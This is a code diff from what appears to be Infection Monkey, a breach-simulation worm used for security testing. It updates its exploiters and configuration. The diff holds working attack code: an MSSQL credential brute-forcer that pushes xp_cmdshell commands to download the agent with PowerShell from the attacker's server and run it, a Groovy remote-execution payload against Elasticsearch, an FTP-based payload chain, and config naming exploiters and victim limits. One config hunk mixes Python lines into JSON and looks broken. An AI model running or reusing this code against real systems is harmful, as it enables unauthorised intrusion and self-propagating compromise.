requests.get("https://%s/api?action=is-up" % (server,),
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies,
|
||||
timeout=TIMEOUT)
|
||||
timeout=TIMEOUT_IN_SECONDS)
|
||||
WormConfiguration.current_server = current_server
|
||||
break
|
||||
|
||||
|
@ -117,11 +123,12 @@ class ControlClient(object):
|
|||
return {}
|
||||
|
||||
@staticmethod
|
||||
def send_telemetry(telem_type, data):
|
||||
def send_telemetry(telem_category, data):
|
||||
if not WormConfiguration.current_server:
|
||||
LOG.error("Trying to send %s telemetry before current server is established, aborting." % telem_category)
|
||||
return
|
||||
try:
|
||||
telemetry = {'monkey_guid': GUID, 'telem_type': telem_type, 'data': data}
|
||||
telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data}
|
||||
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
|
||||
data=json.dumps(telemetry),
|
||||
headers={'content-type': 'application/json'},
|
||||
|
@ -162,7 +169,8 @@ class ControlClient(object):
|
|||
|
||||
try:
|
||||
unknown_variables = WormConfiguration.from_kv(reply.json().get('config'))
|
||||
LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
|
||||
LOG.info("New configuration was loaded from server: %r" %
|
||||
(WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),))
|
||||
except Exception as exc:
|
||||
# we don't continue with default conf here because it might be dangerous
|
||||
LOG.error("Error parsing JSON reply from control server %s (%s): %s",
|
||||
|
@ -303,3 +311,13 @@ class ControlClient(object):
|
|||
target_addr, target_port = None, None
|
||||
|
||||
return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)
|
||||
|
||||
@staticmethod
|
||||
def get_pba_file(filename):
|
||||
try:
|
||||
return requests.get(PBA_FILE_DOWNLOAD %
|
||||
(WormConfiguration.current_server, filename),
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
except requests.exceptions.RequestException:
|
||||
return False
|
||||
|
|
|
@ -11,9 +11,11 @@ from ctypes import c_char_p
|
|||
|
||||
import filecmp
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
|
||||
from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
|
||||
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
|
||||
from infection_monkey.system_info import SystemInfoCollector, OperatingSystem
|
||||
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||
|
||||
if "win32" == sys.platform:
|
||||
from win32process import DETACHED_PROCESS
|
||||
|
@ -51,7 +53,6 @@ class MonkeyDrops(object):
|
|||
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
|
||||
|
||||
def start(self):
|
||||
|
||||
if self._config['destination_path'] is None:
|
||||
LOG.error("No destination path specified")
|
||||
return False
|
||||
|
@ -157,5 +158,6 @@ class MonkeyDrops(object):
|
|||
else:
|
||||
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
|
||||
self._config['source_path'])
|
||||
T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send()
|
||||
except AttributeError:
|
||||
LOG.error("Invalid configuration options. Failing")
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
{
|
||||
"should_exploit": true,
|
||||
"command_servers": [
|
||||
"192.0.2.0:5000"
|
||||
],
|
||||
|
@ -24,13 +25,11 @@
|
|||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||
"dropper_log_path_linux": "/tmp/user-1562",
|
||||
"dropper_set_date": true,
|
||||
"dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
|
||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
|
||||
monkey_dir_linux = '/tmp/monkey_dir',
|
||||
monkey_dir_windows = r'C:\Windows\Temp\monkey_dir',
|
||||
|
||||
"monkey_dir_name": "monkey_dir",
|
||||
|
||||
"kill_file_path_linux": "/var/run/monkey.not",
|
||||
"kill_file_path_windows": "%windir%\\monkey.not",
|
||||
|
@ -44,7 +43,8 @@
|
|||
"SambaCryExploiter",
|
||||
"Struts2Exploiter",
|
||||
"WebLogicExploiter",
|
||||
"HadoopExploiter"
|
||||
"HadoopExploiter",
|
||||
"VSFTPDExploiter"
|
||||
],
|
||||
"finger_classes": [
|
||||
"SSHFinger",
|
||||
|
@ -63,7 +63,6 @@
|
|||
"user_to_add": "Monkey_IUSER_SUPPORT",
|
||||
"remote_user_pass": "Password1!",
|
||||
"ping_scan_timeout": 10000,
|
||||
"rdp_use_vbs_download": true,
|
||||
"smb_download_timeout": 300,
|
||||
"smb_service_name": "InfectionMonkey",
|
||||
"retry_failed_explotation": true,
|
||||
|
@ -98,8 +97,8 @@
|
|||
],
|
||||
"timeout_between_iterations": 10,
|
||||
"use_file_logging": true,
|
||||
"victims_max_exploit": 7,
|
||||
"victims_max_find": 30,
|
||||
"victims_max_exploit": 15,
|
||||
"victims_max_find": 100,
|
||||
"post_breach_actions" : []
|
||||
custom_PBA_linux_cmd = ""
|
||||
custom_PBA_windows_cmd = ""
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
from abc import ABCMeta, abstractmethod
|
||||
from abc import ABCMeta, abstractmethod, abstractproperty
|
||||
import infection_monkey.config
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from datetime import datetime
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
@ -13,35 +14,72 @@ class HostExploiter(object):
|
|||
# Usual values are 'vulnerability' or 'brute_force'
|
||||
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||
|
||||
@abstractproperty
|
||||
def _EXPLOITED_SERVICE(self):
|
||||
pass
|
||||
|
||||
def __init__(self, host):
|
||||
self._config = infection_monkey.config.WormConfiguration
|
||||
self._exploit_info = {}
|
||||
self._exploit_attempts = []
|
||||
self.exploit_info = {'display_name': self._EXPLOITED_SERVICE,
|
||||
'started': '',
|
||||
'finished': '',
|
||||
'vulnerable_urls': [],
|
||||
'vulnerable_ports': [],
|
||||
'executed_cmds': []}
|
||||
self.exploit_attempts = []
|
||||
self.host = host
|
||||
|
||||
def set_start_time(self):
|
||||
self.exploit_info['started'] = datetime.now().isoformat()
|
||||
|
||||
def set_finish_time(self):
|
||||
self.exploit_info['finished'] = datetime.now().isoformat()
|
||||
|
||||
def is_os_supported(self):
|
||||
return self.host.os.get('type') in self._TARGET_OS_TYPE
|
||||
|
||||
def send_exploit_telemetry(self, result):
|
||||
from infection_monkey.control import ControlClient
|
||||
ControlClient.send_telemetry(
|
||||
'exploit',
|
||||
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
|
||||
'info': self._exploit_info, 'attempts': self._exploit_attempts})
|
||||
from infection_monkey.telemetry.exploit_telem import ExploitTelem
|
||||
ExploitTelem(self, result).send()
|
||||
|
||||
def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''):
|
||||
self._exploit_attempts.append({'result': result, 'user': user, 'password': password,
|
||||
self.exploit_attempts.append({'result': result, 'user': user, 'password': password,
|
||||
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key})
|
||||
|
||||
@abstractmethod
|
||||
def exploit_host(self):
|
||||
self.pre_exploit()
|
||||
result = self._exploit_host()
|
||||
self.post_exploit()
|
||||
return result
|
||||
|
||||
def pre_exploit(self):
|
||||
self.set_start_time()
|
||||
|
||||
def post_exploit(self):
|
||||
self.set_finish_time()
|
||||
|
||||
@abstractmethod
|
||||
def _exploit_host(self):
|
||||
raise NotImplementedError()
|
||||
|
||||
def add_vuln_url(self, url):
|
||||
self.exploit_info['vulnerable_urls'].append(url)
|
||||
|
||||
def add_vuln_port(self, port):
|
||||
self.exploit_info['vulnerable_ports'].append(port)
|
||||
|
||||
def add_executed_cmd(self, cmd):
|
||||
"""
|
||||
Appends command to exploiter's info.
|
||||
:param cmd: String of executed command. e.g. 'echo Example'
|
||||
"""
|
||||
powershell = True if "powershell" in cmd.lower() else False
|
||||
self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
|
||||
|
||||
|
||||
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
|
||||
from infection_monkey.exploit.wmiexec import WmiExploiter
|
||||
from infection_monkey.exploit.smbexec import SmbExploiter
|
||||
from infection_monkey.exploit.rdpgrinder import RdpExploiter
|
||||
from infection_monkey.exploit.sshexec import SSHExploiter
|
||||
from infection_monkey.exploit.shellshock import ShellShockExploiter
|
||||
from infection_monkey.exploit.sambacry import SambaCryExploiter
|
||||
|
@ -50,3 +88,4 @@ from infection_monkey.exploit.struts2 import Struts2Exploiter
|
|||
from infection_monkey.exploit.weblogic import WebLogicExploiter
|
||||
from infection_monkey.exploit.hadoop import HadoopExploiter
|
||||
from infection_monkey.exploit.mssqlexec import MSSQLExploiter
|
||||
from infection_monkey.exploit.vsftpd import VSFTPDExploiter
|
||||
|
|
|
@ -8,9 +8,12 @@ import json
|
|||
import logging
|
||||
import requests
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
|
||||
from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
|
||||
DOWNLOAD_TIMEOUT
|
||||
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
|
||||
from infection_monkey.network.elasticfinger import ES_PORT
|
||||
from common.data.network_consts import ES_SERVICE
|
||||
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
||||
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
|
||||
|
||||
import re
|
||||
|
||||
|
@ -27,6 +30,7 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
|
||||
|
||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||
_EXPLOITED_SERVICE = 'Elastic search'
|
||||
|
||||
def __init__(self, host):
|
||||
super(ElasticGroovyExploiter, self).__init__(host)
|
||||
|
@ -35,7 +39,7 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
|
||||
exploit_config['dropper'] = True
|
||||
exploit_config['url_extensions'] = ['_search?pretty']
|
||||
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP}
|
||||
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP}
|
||||
return exploit_config
|
||||
|
||||
def get_open_service_ports(self, port_list, names):
|
||||
|
@ -58,6 +62,12 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
return False
|
||||
return result[0]
|
||||
|
||||
def upload_monkey(self, url, commands=None):
|
||||
result = super(ElasticGroovyExploiter, self).upload_monkey(url, commands)
|
||||
if 'windows' in self.host.os['type'] and result:
|
||||
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
|
||||
return result
|
||||
|
||||
def get_results(self, response):
|
||||
"""
|
||||
Extracts the result data from our attack
|
||||
|
|
|
@ -11,7 +11,8 @@ import logging
|
|||
import posixpath
|
||||
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth
|
||||
from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
@ -21,6 +22,7 @@ LOG = logging.getLogger(__name__)
|
|||
|
||||
class HadoopExploiter(WebRCE):
|
||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||
_EXPLOITED_SERVICE = 'Hadoop'
|
||||
HADOOP_PORTS = [["8088", False]]
|
||||
# How long we have our http server open for downloads in seconds
|
||||
DOWNLOAD_TIMEOUT = 60
|
||||
|
@ -30,7 +32,7 @@ class HadoopExploiter(WebRCE):
|
|||
def __init__(self, host):
|
||||
super(HadoopExploiter, self).__init__(host)
|
||||
|
||||
def exploit_host(self):
|
||||
def _exploit_host(self):
|
||||
# Try to get exploitable url
|
||||
urls = self.build_potential_urls(self.HADOOP_PORTS)
|
||||
self.add_vulnerable_urls(urls, True)
|
||||
|
@ -48,6 +50,7 @@ class HadoopExploiter(WebRCE):
|
|||
return False
|
||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
self.add_executed_cmd(command)
|
||||
return True
|
||||
|
||||
def exploit(self, url, command):
|
||||
|
|
|
@ -1,106 +1,170 @@
|
|||
import os
|
||||
import logging
|
||||
import os
|
||||
import sys
|
||||
from time import sleep
|
||||
|
||||
import pymssql
|
||||
|
||||
from infection_monkey.exploit import HostExploiter, mssqlexec_utils
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
|
||||
__author__ = 'Maor Rayzin'
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth
|
||||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.utils.monkey_dir import get_monkey_dir_path
|
||||
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
|
||||
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class MSSQLExploiter(HostExploiter):
|
||||
|
||||
_EXPLOITED_SERVICE = 'MSSQL'
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
LOGIN_TIMEOUT = 15
|
||||
# Time in seconds to wait between MSSQL queries.
|
||||
QUERY_BUFFER = 0.5
|
||||
SQL_DEFAULT_TCP_PORT = '1433'
|
||||
DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat')
|
||||
DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat'
|
||||
|
||||
# Temporary file that saves commands for monkey's download and execution.
|
||||
TMP_FILE_NAME = 'tmp_monkey.bat'
|
||||
TMP_DIR_PATH = "%temp%\\tmp_monkey_dir"
|
||||
|
||||
MAX_XP_CMDSHELL_COMMAND_SIZE = 128
|
||||
|
||||
XP_CMDSHELL_COMMAND_START = "xp_cmdshell \""
|
||||
XP_CMDSHELL_COMMAND_END = "\""
|
||||
EXPLOIT_COMMAND_PREFIX = "<nul set /p="
|
||||
EXPLOIT_COMMAND_SUFFIX = ">>{payload_file_path}"
|
||||
CREATE_COMMAND_SUFFIX = ">{payload_file_path}"
|
||||
MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \
|
||||
"DownloadFile(^\'{http_path}^\' , ^\'{dst_path}^\')"
|
||||
|
||||
def __init__(self, host):
|
||||
super(MSSQLExploiter, self).__init__(host)
|
||||
self.attacks_list = [mssqlexec_utils.CmdShellAttack]
|
||||
self.cursor = None
|
||||
self.monkey_server = None
|
||||
self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME)
|
||||
|
||||
def create_payload_file(self, payload_path):
|
||||
def _exploit_host(self):
|
||||
"""
|
||||
This function creates dynamically the payload file to be transported and ran on the exploited machine.
|
||||
:param payload_path: A path to the create the payload file in
|
||||
:return: True if the payload file was created and false otherwise.
|
||||
First this method brute forces to get the mssql connection (cursor).
|
||||
Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after
|
||||
"""
|
||||
try:
|
||||
with open(payload_path, 'w+') as payload_file:
|
||||
payload_file.write('dir C:\\')
|
||||
return True
|
||||
except Exception as e:
|
||||
LOG.error("Payload file couldn't be created", exc_info=True)
|
||||
return False
|
||||
|
||||
def exploit_host(self):
|
||||
"""
|
||||
Main function of the mssql brute force
|
||||
Return:
|
||||
True or False depends on process success
|
||||
"""
|
||||
# Brute force to get connection
|
||||
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
|
||||
self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
|
||||
|
||||
payload_path = MSSQLExploiter.DEFAULT_PAYLOAD_PATH_LINUX if 'linux' in self.host.os['type'] \
|
||||
else MSSQLExploiter.DEFAULT_PAYLOAD_PATH_WIN
|
||||
# Create dir for payload
|
||||
self.create_temp_dir()
|
||||
|
||||
if not self.create_payload_file(payload_path):
|
||||
return False
|
||||
if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list,
|
||||
payload_path):
|
||||
LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr))
|
||||
return True
|
||||
else:
|
||||
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
|
||||
return False
|
||||
try:
|
||||
self.create_empty_payload_file()
|
||||
|
||||
def handle_payload(self, cursor, payload):
|
||||
self.start_monkey_server()
|
||||
self.upload_monkey()
|
||||
self.stop_monkey_server()
|
||||
|
||||
# Clear payload to pass in another command
|
||||
self.create_empty_payload_file()
|
||||
|
||||
self.run_monkey()
|
||||
|
||||
self.remove_temp_dir()
|
||||
except Exception as e:
|
||||
raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2]
|
||||
|
||||
return True
|
||||
|
||||
def run_payload_file(self):
|
||||
file_running_command = MSSQLLimitedSizePayload(self.payload_file_path)
|
||||
return self.run_mssql_command(file_running_command)
|
||||
|
||||
def create_temp_dir(self):
|
||||
dir_creation_command = MSSQLLimitedSizePayload(command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
|
||||
self.run_mssql_command(dir_creation_command)
|
||||
|
||||
def create_empty_payload_file(self):
|
||||
suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
|
||||
tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
|
||||
self.run_mssql_command(tmp_file_creation_command)
|
||||
|
||||
def run_mssql_command(self, mssql_command):
|
||||
array_of_commands = mssql_command.split_into_array_of_smaller_payloads()
|
||||
if not array_of_commands:
|
||||
raise Exception("Couldn't execute MSSQL exploiter because payload was too long")
|
||||
self.run_mssql_commands(array_of_commands)
|
||||
|
||||
def run_monkey(self):
|
||||
monkey_launch_command = self.get_monkey_launch_command()
|
||||
self.run_mssql_command(monkey_launch_command)
|
||||
self.run_payload_file()
|
||||
|
||||
def run_mssql_commands(self, cmds):
|
||||
for cmd in cmds:
|
||||
self.cursor.execute(cmd)
|
||||
sleep(MSSQLExploiter.QUERY_BUFFER)
|
||||
|
||||
def upload_monkey(self):
|
||||
monkey_download_command = self.write_download_command_to_payload()
|
||||
self.run_payload_file()
|
||||
self.add_executed_cmd(monkey_download_command.command)
|
||||
|
||||
def remove_temp_dir(self):
|
||||
# Remove temporary dir we stored payload at
|
||||
tmp_file_removal_command = MSSQLLimitedSizePayload(command="del {}".format(self.payload_file_path))
|
||||
self.run_mssql_command(tmp_file_removal_command)
|
||||
tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
|
||||
self.run_mssql_command(tmp_dir_removal_command)
|
||||
|
||||
def start_monkey_server(self):
|
||||
self.monkey_server = MonkeyHTTPServer(self.host)
|
||||
self.monkey_server.start()
|
||||
|
||||
def stop_monkey_server(self):
|
||||
self.monkey_server.stop()
|
||||
|
||||
def write_download_command_to_payload(self):
|
||||
monkey_download_command = self.get_monkey_download_command()
|
||||
self.run_mssql_command(monkey_download_command)
|
||||
return monkey_download_command
|
||||
|
||||
def get_monkey_launch_command(self):
|
||||
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
|
||||
# Form monkey's launch command
|
||||
monkey_args = build_monkey_commandline(self.host,
|
||||
get_monkey_depth() - 1,
|
||||
dst_path)
|
||||
suffix = ">>{}".format(self.payload_file_path)
|
||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||
return MSSQLLimitedSizePayload(command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args),
|
||||
prefix=prefix,
|
||||
suffix=suffix)
|
||||
|
||||
def get_monkey_download_command(self):
|
||||
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
|
||||
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\
|
||||
format(http_path=self.monkey_server.http_path, dst_path=dst_path)
|
||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
|
||||
return MSSQLLimitedSizePayload(command=monkey_download_command,
|
||||
suffix=suffix,
|
||||
prefix=prefix)
|
||||
|
||||
def brute_force(self, host, port, users_passwords_pairs_list):
|
||||
"""
|
||||
Handles the process of payload sending and execution, prepares the attack and details.
|
||||
Starts the brute force connection attempts and if needed then init the payload process.
|
||||
Main loop starts here.
|
||||
|
||||
Args:
|
||||
cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands.
|
||||
payload (string): Payload path
|
||||
Args:
|
||||
host (str): Host ip address
|
||||
port (str): Tcp port that the host listens to
|
||||
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
|
||||
|
||||
Return:
|
||||
True or False depends on process success
|
||||
Return:
|
||||
True or False depends if the whole bruteforce and attack process was completed successfully or not
|
||||
"""
|
||||
|
||||
chosen_attack = self.attacks_list[0](payload, cursor, self.host)
|
||||
|
||||
if chosen_attack.send_payload():
|
||||
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
|
||||
if chosen_attack.execute_payload():
|
||||
LOG.debug('Payload: {0} has been successfully executed on host'.format(payload))
|
||||
chosen_attack.cleanup_files()
|
||||
return True
|
||||
else:
|
||||
LOG.error("Payload: {0} couldn't be executed".format(payload))
|
||||
else:
|
||||
LOG.error("Payload: {0} couldn't be sent to host".format(payload))
|
||||
|
||||
chosen_attack.cleanup_files()
|
||||
return False
|
||||
|
||||
def brute_force_begin(self, host, port, users_passwords_pairs_list, payload):
|
||||
"""
|
||||
Starts the brute force connection attempts and if needed then init the payload process.
|
||||
Main loop starts here.
|
||||
|
||||
Args:
|
||||
host (str): Host ip address
|
||||
port (str): Tcp port that the host listens to
|
||||
payload (str): Local path to the payload
|
||||
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
|
||||
|
||||
Return:
|
||||
True or False depends if the whole bruteforce and attack process was completed successfully or not
|
||||
"""
|
||||
# Main loop
|
||||
# Iterates on users list
|
||||
for user, password in users_passwords_pairs_list:
|
||||
|
@ -108,23 +172,26 @@ class MSSQLExploiter(HostExploiter):
|
|||
# Core steps
|
||||
# Trying to connect
|
||||
conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT)
|
||||
LOG.info('Successfully connected to host: {0}, '
|
||||
'using user: {1}, password: {2}'.format(host, user, password))
|
||||
LOG.info(
|
||||
'Successfully connected to host: {0}, using user: {1}, password (SHA-512): {2}'.format(
|
||||
host, user, self._config.hash_sensitive_data(password)))
|
||||
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
|
||||
self.report_login_attempt(True, user, password)
|
||||
cursor = conn.cursor()
|
||||
|
||||
# Handles the payload and return True or False
|
||||
if self.handle_payload(cursor, payload):
|
||||
LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host))
|
||||
return True
|
||||
else:
|
||||
LOG.warning("user: {0} and password: {1}, "
|
||||
"was able to connect to host: {2} but couldn't handle payload: {3}"
|
||||
.format(user, password, host, payload))
|
||||
return cursor
|
||||
except pymssql.OperationalError:
|
||||
self.report_login_attempt(False, user, password)
|
||||
# Combo didn't work, hopping to the next one
|
||||
pass
|
||||
|
||||
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
|
||||
'aborting brute force'.format(host, port))
|
||||
return False
|
||||
raise RuntimeError("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
|
||||
|
||||
|
||||
class MSSQLLimitedSizePayload(LimitedSizePayload):
|
||||
def __init__(self, command, prefix="", suffix=""):
|
||||
super(MSSQLLimitedSizePayload, self).__init__(command=command,
|
||||
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
|
||||
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix,
|
||||
suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END)
|
||||
|
|
|
@ -1,208 +0,0 @@
|
|||
import os
|
||||
import multiprocessing
|
||||
import logging
|
||||
|
||||
import pymssql
|
||||
|
||||
from infection_monkey.exploit.tools import get_interface_to_target
|
||||
from pyftpdlib.authorizers import DummyAuthorizer
|
||||
from pyftpdlib.handlers import FTPHandler
|
||||
from pyftpdlib.servers import FTPServer
|
||||
from time import sleep
|
||||
|
||||
|
||||
__author__ = 'Maor Rayzin'
|
||||
|
||||
|
||||
FTP_SERVER_PORT = 1026
|
||||
FTP_SERVER_ADDRESS = ''
|
||||
FTP_SERVER_USER = 'brute'
|
||||
FTP_SERVER_PASSWORD = 'force'
|
||||
FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/')
|
||||
FTP_WORK_DIR_LINUX = '/tmp/'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class FTP(object):
|
||||
|
||||
"""Configures and establish an FTP server with default details.
|
||||
|
||||
Args:
|
||||
user (str): User for FTP server auth
|
||||
password (str): Password for FTP server auth
|
||||
working_dir (str): The local working dir to init the ftp server on.
|
||||
"""
|
||||
|
||||
def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD):
|
||||
"""Look at class level docstring."""
|
||||
self.dst_ip = host.ip_addr
|
||||
self.user = user
|
||||
self.password = password
|
||||
self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS
|
||||
|
||||
def run_server(self):
|
||||
|
||||
""" Configures and runs the ftp server to listen forever until stopped.
|
||||
"""
|
||||
|
||||
# Defining an authorizer and configuring the ftp user
|
||||
authorizer = DummyAuthorizer()
|
||||
authorizer.add_user(self.user, self.password, self.working_dir, perm='elr')
|
||||
|
||||
# Normal ftp handler
|
||||
handler = FTPHandler
|
||||
handler.authorizer = authorizer
|
||||
|
||||
address = (get_interface_to_target(self.dst_ip), FTP_SERVER_PORT)
|
||||
|
||||
# Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword
|
||||
self.server = FTPServer(address, handler)
|
||||
|
||||
# Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I
|
||||
# multiproccess is being used here.
|
||||
self.server.serve_forever()
|
||||
|
||||
def stop_server(self):
|
||||
# Stops the FTP server and closing all connections.
|
||||
self.server.close_all()
|
||||
|
||||
|
||||
class AttackHost(object):
|
||||
"""
|
||||
This class acts as an interface for the attacking methods class
|
||||
|
||||
Args:
|
||||
payload_path (str): The local path of the payload file
|
||||
"""
|
||||
|
||||
def __init__(self, payload_path):
|
||||
self.payload_path = payload_path
|
||||
|
||||
def send_payload(self):
|
||||
raise NotImplementedError("Send function not implemented")
|
||||
|
||||
def execute_payload(self):
|
||||
raise NotImplementedError("execute function not implemented")
|
||||
|
||||
|
||||
class CmdShellAttack(AttackHost):
|
||||
|
||||
"""
|
||||
This class uses the xp_cmdshell command execution and will work only if its available on the remote host.
|
||||
|
||||
Args:
|
||||
payload_path (str): The local path of the payload file
|
||||
cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with.
|
||||
host (model.host.VictimHost): Host this attack is going to target
|
||||
|
||||
"""
|
||||
|
||||
def __init__(self, payload_path, cursor, host):
|
||||
super(CmdShellAttack, self).__init__(payload_path)
|
||||
self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host)
|
||||
self.cursor = cursor
|
||||
self.attacker_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
def send_payload(self):
|
||||
"""
|
||||
Sets up an FTP server and using it to download the payload to the remote host
|
||||
|
||||
Return:
|
||||
True if payload sent False if not.
|
||||
"""
|
||||
|
||||
# Sets up the cmds to run
|
||||
shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \
|
||||
echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
|
||||
shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
|
||||
shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
|
||||
.format(self.payload_path)
|
||||
shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
|
||||
